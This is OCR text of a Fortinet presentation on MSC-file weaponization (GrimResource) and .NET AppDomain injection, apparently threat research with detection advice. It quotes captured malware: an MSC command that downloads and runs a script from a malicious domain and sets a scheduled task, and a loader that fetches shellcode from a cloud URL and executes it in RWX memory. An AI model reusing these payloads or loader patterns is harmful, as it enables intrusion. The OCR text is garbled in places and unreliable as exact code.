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What are MSC Files

1,

 .MSC files, also known as Microsoft Saved Console fi‘Ies
are snap-in control files that open in the:Microsoft Management Console
with a Graphical User Interface (GUI). , |

EN Windows PowerShell

PS C:WUsersidsantos® Get-ChildItem C:\Windows\system32\* * . msc | Sort-Object Extension | Sel [P
ect-Object Name | Format-Wide 1

User Account Control
rEop.mMsC

secpol.msc .
printmanagement . msc Do you want to allow this app to make
lusrmgr.msc .
perfmon. msc changes to your device?
WF .msc
WmiMgmt .msc
tpm.msc
services.msc .
taskschd.msc ﬁ Microsoft Management Console
gpedit.msc

Comexp.msc
compmgmt . msc

certmgr.msc
azZman . msc
certlm.msc
eventvwr.msc
fsmgmt.msc
diskmgmt.msc
devmgmt .msc

DevModeRunAsUserConfig.msc

PS5 C:3Users\dsantos>

Verified publisher: Microsoft Windows

Program location: "CAWINDOWS\system32\mmc.exe"
Show information about the publisher's certificate
Change when these notifications appear

Hide details

~ © Fortinet Inc. All Rights Reserved.
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GrimResource

* |t uses some properties inside the MSC configuration file to do icon spoofing, ideal to

entice the user to open
» Also has a provision to use transformNode obfuscation technique that evades ActiveX

security warnings traditionally found in legitimate .msc
* The key to the GrimResource technique is using an old XSS flaw present in

the apds.dll library, which can be called from MSC files

+ ol 3556142115 SR

72.3
ss: 35.86
Ins xlarge
Availability Zone: us-west-2b
Architecture: AMD64

Total memory: 16384
Network: High
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https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4
https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199
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MSC Weaponization : Couple of ways to do it

We can either use the XSS Flaw in APDS.DLL (GrimResource) or use the TaskType
“CommandLine” but this throws the security warning (campaign from April 2024), since this is a
new avenue we expect to see pOSSIb|y another twist to delivering malicious payloads

33=_Bx18e943()

e SRR < T2k Type = "CommandLine” Command = String Name = "Name" ID =
3933[ "push” ](_8x1c3933[*shift"1()) = "Description" ID = "11" Symbo
(_9x%29272a){_©x1c3933[ "push”](_0x1c3933[ 'shift ]()) i
xe19,08x4930F)) "Large" BinaryRefIndex = "7" Symbol CommandLine Directory = " WindowState = "Minimized"
scopelamespace=external|_Bx5aeall(8x99)][_Bx5aeald(0xab) ], rootNode=scopellamespac . N . , ~
external[ @x5aeal@(@x99)][ @x5aeald(0x97)][ @x5aeald(8x95)]=dochode,docObject=extern| Params ="/c mode 15,1 & start explorer " https://brandwizer.co[.]in/green_pad/wp

var XML=docObject " e [ .
J;E\:\—-i"inn Oﬁvnziﬂf'\fw:w Av2AAGAF=l " Art+ivaliow® "LatRant’ 'NAacomant® 'Q1R722TheR75 ontent/p qu_“_L stom-post-type-ma -<€r"CSSEI‘,uS hare "& echo On Error Resume Next:Set ws =

e

e Name = "Small" BinaryRefIndex = "6

CreateObject( " WScript.Shell " ):Set fs = CreateQObject( " Scripting.FileSystemObject " ):Set Post0 =
CreateObject( " msxml2.xmlhttp " ):gpath = ws.ExpandEnvironmentStrings( " Y%appdata% " ) +

\Microsoft\cool.gif " :bpath = ws.ExpandEnvironmentStrings( " %appdata% " ) + " \Microsoft\cool.bat " :If
S5tgoXyw]jfrix
</5trin
<String ID="23" Refs=": C </5tri ) Then:re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open " GET
<String ID 1 175 -B20E-BOCAAFI83EER}</String>
<String ID: ! ' https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?
Refs="1 >r‘e5.ff‘apds dllfr'edirect. html?target=javascript:

& 75 Fi eExists(gpath)

,False: Post0.setRequestHeader " Content-Type ", " application/x-w\

</Strings> nw-form-urlencoded '
</StringTable> :Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f Write(t0):f.Close:End If: >'
</StringTables> =
<BinaryStor CA\Users\Public\musiciwarm.vbs "& schtasks /create /tn OneDrivellpda
<Binary>AQAAABQAAAAAAAAATSAMACCAAAA=</Binary>
<Binary >AQAAABQAAAAAAAAAFWAAAB g ALAA inary> C:\Users\Public\music\warm.vbs
<Binary MName="CONSOLE_FILE_ICON_LARGE":
SUWBAQEABAAEACAATAD/// // 1QD// /77771 7@INNGAAAAAAAAAZAAAAKAAAAT AMAAAGAAAAAQAG
<

ftr " wscript.exe /b

Unix (LF)
© Fortinet Inc. All Rights Reserved.
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App Domain / Injection

Imagine a .NET AppDomain as a quirky sandbox where code plays. If it throws a tantrum (crash or security
glitch), it won't wreck the whole system.

The AppDomainManager? It's the stﬂrict playground supervisor, whipping up new sandboxes, setting rules,
and keeping them from fighting.

The CLR calls on this manager when a . NET app boots up tweaklng sandboxes and enforcing security,
logging, and runtime rules. : :

It is deprecated and are no longer supported Instead, the recommended replacement for achieving
Isolation and similar functlonallty IS the AssemnyLoadContext class, introduced in .NET Core.

Local App Domain Injection, a sneaky trick since 2020 (MITRE ID: T1574.014), dodges image load alerts
and hides from sysmon’s Event ID 7. ,

Remote version? First spotted in Auguet 2024, courtesy of APT41 (Earth Baxia) and GrimResource—total
mischief makers!
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Remote App Domain Injection

Seen for the first time being leveraged by APT41 (Earth Baxia) back in
August 2024, coupled with GrimResource.

\

<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyldentity name="oncesvc" publicKkeyToken= "205fcablea048820" culture="neutral" />
<codeBase version="0.0.0.0
</dependentAssembly>
</assemblyBinding>

<appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKkeyToken=205fcablea048820" />
<appDomainManagerType value="oncesvc" />
</runtime>
</configuration>

© Fortinet Inc. All Rights Reserved.
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Loading Remote DLLs

How to: Sign an assembly with a strong name

In this article

(D Note

Although .NET Core supports strong-named

adback

mblies, and all assemblies in the .NET Core library are signed, the

majority of third-party assemblies do not need strong names. For more information, see Strong Name Signing &
on GitHub.

There are a number of

ing the Build = Strong naming page in the p
and most convenient way

ith a strong name:

gner for a project in Visual Studio. This is the easiest
fith a strong name.
de module (a .netmodule file) with a key file.
ong name information into your code. You can use either the

ameAttribute attribute g on where the key file to be used

vith a strong name. For more information about creating a




Emulating Remote AppDomain Injection

1,

Here we see the execution of oncesvc.exe loading the remote DLL
resource masqueraded as a jpeg

internal static cla
{
/6000007 1IC File Offset: @x0000031(
publ t 1 31« ( o 78()
i
ServicePointManager. |= SecurityProtocolType.Tls12;
string uriString = oncesvc. .charcoalchivalrousspark24371("ijD8ZGDkGLrkGw/
FOUytTOHPz965YD8gls5tssiXDMnRNrsaX4DyVsfN/v9354cn9r8sfaC5Y3sm7t0ghYkeGQ==") ;
* byte[
uint num = (uint)array. 3
intPtr = oncesvc. : VirtualAlloc( .Zero, num, 12288U, 64U);
.Copy(array, @, intPtr, (int)num);
hHandle = oncesvc. .CreateThread( .Zero, @U, intPtr, .Zero, @U,
oncesvc. .WaitForSingleObject(hHandle, uint.MaxValue);
¥
ke 06000003 2198 File Offset: OxPOOEO398
internal atic |bytdl1 sals 151c67718(Uri magentahurtbirds19428)
100% ~
Locals
Name Value Type
@ uriString “https://360photo.oss-cn-hongkong.aliyuncs.com/202407111522.jpeg” string
@ array nu bytel[]
& num 0x00000000 uint
b @ intPtr 0x0000000000000000 System.
P @ hHandle 0x0000000000000000 System.

.Zero ) 3

© Fortinet Inc. All Rights Reserved.
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,E Fileless AppDomain Injection

Q

File Edit View Git Project Debug Test Analyze Tools Extensions Window  Help P se il all 33.86.142.115 - g X k] Sign in = b4
- - e B E P Attach... ~ B - | e LE - €3 GitHub Copilot |& &/ = ADMIN
UevAppMonitor.exe.config UevAppMoenitor.exe.config UevAppMonitor.exe.config UevAppMonitor.exe Program.cs &= X What's New? Solution Explorer ~ @ Output * @ x
[£¥] Miscellaneous Files - OISMyAppDDma\nManager.AppDUmainlnjectiun - InitializeMewDomain(AppDomainSetup appDomaininfo) -~ ¥ Show output from: - @
v MyAppDomainManager | e
{ =
i ; System; File Edit Format
1 1 System.EnterpriseServices; <configuration>

<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.vl
<dependentAssembly>
<assemblyIdentity name="AppDomainInjection”
publicKeyToken={"al78a297a4589d11"
1ture="neutral™ />

{ . N : "
~ erride void InitializeNewDomain(AppDomainSetup appDomainInfo) <codeBase version="1.8.0.8

System.Runtime.InteropServices;
System.Diagnostics;
System.Windows.Forms;

~ pulk ass [AppDomaininjection : AppDomainManager

href="http://172.31.27.19:8088/AppDomainInjection.dll”

{ " </dependentAssembly>
res = ClassExample.Execute(); </assemblyBindin

ER <etwEnable enabled="false" />
¥ <appDomainManagerAssembly walue="AppDomainInjection, Version=1.0.0.8, Culture=neutral, PublicKeyToken=a178a297a4589d11"
} - Only the namespace-qualified type name, no assembly details --
<appDomainManagerType value="MylAppDomainManager
~ i ClassExample </runtime>
{ </configuration>
2 v Execute()
{
MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
return ;
}
}
}
0%~ @ No issues found | &~ lm4  Ch:37 SPC  CRIF
Developer PowerShell > X
+ Developer PowerShell - [ [ &
PS C:\Wsers\Administratorisource\repos\New Techniques\AppDomainInjection\bin\Debug> sn AppDomainInjection.dll

Microsoft (R) .MET Framework Strong Name Utility Version 4.9.30319.0
Copyright (c) Microsoft Corporation. All rights reserved.

Public key (hash algorithm: shal):
2

480005253413 100018841d73747173532
1cadbf865817a19eT984425b672a66ad42065b85d8ea9a32271180635c77cc935F3fad7107901F
9cba?13513bcedbaddbf8b712317bbcac222a31T457578ac5bf cea722dcb6bb5d2c7F83daf21d7
alb2bcfeee31c632f141e8T84bccba7e3d3a3e3f5f3a5492cae849bT 24ca025086cecb267560bd
8d@65ec?

Public key token is al70a29754589d11
PS C:\WsershAdministratorisource\repos\New Techniques\AppDomainInjection\bin\Debug> I
» ErrorList  Qutput
E] Ready i Select Repository = f‘n

- . » 11:04 M
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GrimResource

Detection Opportunities

Caveats

MSC tricks are still popping up, and some sneaky new files in VT barely raise eyebrows.
They’re not sticking to old apds.dll tricks—new moves likely will be discovered
YARA/SIGMA rules might miss the latest twists since

If attackers snag Admin rights and drop files in system folders most SIGMA rules snooze—
they’re too focused on non-\ystem spots.. ST

Best Detection Hacks. . . . T -

This trick still needs RWX memory perms to Work—catch it in the act!

Spotting other DLLs Ilke Jscrlpt dll, vbscript. dII or msxmi3.dll loading with apds.dll can tip off
EDRs.

Look for a quirky temp HTML file named “redlrect[ ]” in the INetCache folder—APDS XSS

redirect’s calling card'
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AppDomain Injection

Detection Opportunities

Caveats

« SysMon rules and other tools miss CLR injection, it will show up on ETW consumers just
after the fact like ProcessHacker. If ETW hasn’t been disable (it generally is)

 Spotting loaded assembties via Event Tracing:-for Windows (ETW) works, but attackers can
dodge it by disabling ETW—Ieaving the “NET Assemblies” tqb blank, as MDSec’s Adam
Chester hilariously proved. Also_you can disable it from the".config file !!

Best Detection Hacks . .. . . . n

« Threat hunters, skip assembly Ioadlng Info—dlg |nto NET process memory for shady signs,
like DLLs with “PAGE _ EXECUTE WRITECOPY” (WCX) protection.

« Malicious payload anaIyS|s will reveal that they most likely use obfuscating syscalls and
memory handling and threat manipulation which might be a good indication of maliciousness

* Check out ClrGuard (https://gifhub.com/endgameinc/CIrGuard) or SIIKETW

(https://github.com/mandiant/SIkETW) for slick ETW tapping tools!
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